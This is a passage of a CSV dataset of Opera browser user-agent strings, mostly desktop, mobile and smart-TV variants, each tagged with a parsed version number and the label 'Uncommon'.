Version/12.51 MB95/3.6.3.J (JVC, Si2157LG32, wireless)\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2914.3 Safari/537.36 OPR/43.0.2431.0 (Edition developer)\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.30\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1159\",44,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\nOpera/9.80 (Android 2.3.7; Linux; Opera Tablet/46154) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64 (Edition Campaign 76)\",49,Uncommon\n\"Mozilla/5.0 (Linux; Android 6.0.1; CPH1607 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.112030\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2739.0 Safari/537.36 OPR/39.0.2248.0 (Edition developer)\",39,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48 (Edition Campaign 49)\",28,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.7.4; U; en) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 OPR/27.0.1689.76\",27,Uncommon\n\"Mozilla/5.0 (Linux; Android 7.0; Moto G (5) Plus Build/NPN25.137-83) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 OPR/43.0.2246.121183\",43,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2767.4 Safari/537.36 OPR/40.0.2280.0 (Edition developer)\",40,Uncommon\nOpera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2398.0 Safari/537.36 OPR/31.0.1876.0 (Edition developer)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2687.0 Safari/537.36 OPR/38.0.2205.0 (Edition developer)\",38,Uncommon\nOpera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01,11,Uncommon\nOpera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 OPR/27.0.1689.54\",27,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.99 Safari/537.36 OPR/35.0.2070.100283\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.54\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\nOpera 8.51 on Windows XP  Opera/8.51 (Windows NT 5.1; U; en),8,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.37\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2832.2 Safari/537.36 OPR/41.0.2349.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\nOpera/8.00 (Windows NT 5.1; U; en),8,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.61,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48 (Edition Campaign 16)\",28,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2376.0 Safari/537.36 OPR/31.0.1857.0\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.41\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2096.0 Safari/537.36 OPR/25.0.1583.1 (Edition Developer)\",25,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 OPR/26.0.1656.32\",26,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.141 Safari/537.36 OPR/45.1.2246.125351\",45.1,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\nOpera/9.80 (Android 4.1.1; Linux; Opera Tablet/ADR-1301080958) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (HITACHI, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.41\",37,Uncommon\nOpera/9.80 (Windows NT 5.0; U; nl) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 OPR/29.0.1795.60 (Edition Campaign 34)\",29,Uncommon\nOpera,,Uncommon\nOpera/6.0 (Windows 2000; U) [fr],6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\nOpera/9.63 (Windows NT based; U; en) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.2.2; A52+ Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Mobile Safari/537.36 OPR/28.0.1764.90386\",28,Uncommon\n\"Mozilla/5.0 (Linux; Android 6.0; TECNO-W3 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 OPR/43.0.2246.121183\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50,11,Uncommon\nOpera/9.80 (Linux armv6l; Opera TV Store/4563; U; (SonyBDP/BDV12); en) Presto/2.10.250 Version/11.60,11,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.289 Version/12.01,12,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50,8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\nOpera/9.80 (Linux i686) Presto/2.12.407 Version/12.51,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11  [en],7,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.30\",52,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.157 VSTVB MB100 FVC/1.0 (HITACHI; MB110; 2.18.3.0) HbbTV/1.3.1 (; HITACHI; MB110; 2.18.3.0; ;) SmartTvA/3.0.0\",31,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.34.18 (DIGIHOME, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nMozilla/4.0 (compatible; MSIE 4.0; ) Opera UNTRUSTED/1.0,,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 OPR/33.0.1990.43\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32 (Edition Campaign 70)\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.41\",34,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1159\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition DriverPack; en) Presto/2.10.229 Version/11.61,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\nOpera/9.80 (MTK; Nucleus; Opera Mobi/2167; U; en-US) Presto/2.4.18 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\nOpera/9.0(x11;Linux x86_64;U Linux Mint; en) Presto/2.2.15 Version/12.0,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 Safari/537.36 OPR/38.0.2213.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.14 Safari/537.36 OPR/17.0.1246.0 (Edition Developer)\",17,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.59 (Edition Campaign 16)\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88 (Edition Campaign 67)\",30,Uncommon\nOpera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1,9.5,Uncommon\nOpera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.70\",36,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; fr) Presto/2.10.289 Version/12.02,12,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 OPR/21.0.1437.74904\",21,Uncommon\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\nhttp://myip.ms/view/comp_browseragents/795675/Opera_9_80_Windows_NT_6_2_Win64_x64_Presto_2_12_Version_12_16.html,,Uncommon\nOpera/9.80 (Windows NT 5.0; U; en) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36 OPR/15.0.1147.130\",15,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.2.2126.102826\",36.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 OPR/22.0.1471.50\",22,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.157 VSTVB MB100 FVC/1.0 (JVC; MB110; 2.18.2.0) HbbTV/1.3.1 (; JVC; MB110; 2.18.2.0; ;) SmartTvA/3.0.0\",31,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.59 Safari/537.36 OPR/26.0.1656.87080\",26,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; TECNO-Y4 Build/KOT49H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 OPR/21.0.2254.111757\",21,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.42\",34,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition MTN_SouthAfrica; en) Presto/2.10.229 Version/11.60,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.69 Safari/537.36 OPR/27.0.1689.44 (Edition beta)\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 Safari/537.36 OPR/21.0.1432.67 (Edition Campaign 38)\",21,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41\",29,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto/2.12.388 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\nOpera/9.80 (Windows NT 5.1; U; fr) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\nOpera/9.80 (Linux mips; U; HbbTV/1.1.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/4.0.2; en) Presto/2.10.250 Version/11.60,11,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.3.J (BUSH, Si2157LG32, wireless)\",12,Uncommon\nOpera/9.80 (Linux mips; U; ; en) Presto/2.10.287 Version/12.00 HbbTV/1.1.1 (; Vestel; MB95; 1.0; 1.0;),12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (Linux; Andr0id 6.0.1; BRAVIA 2015 Build/MMB29V.S43) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/32.0.2036.0 OMI/4.6.4.42.E103250.101\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1165\",43,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.4.2192.109775\",37.4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.45 Safari/537.36 OPR/30.0.1835.26 (Edition beta)\",30,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 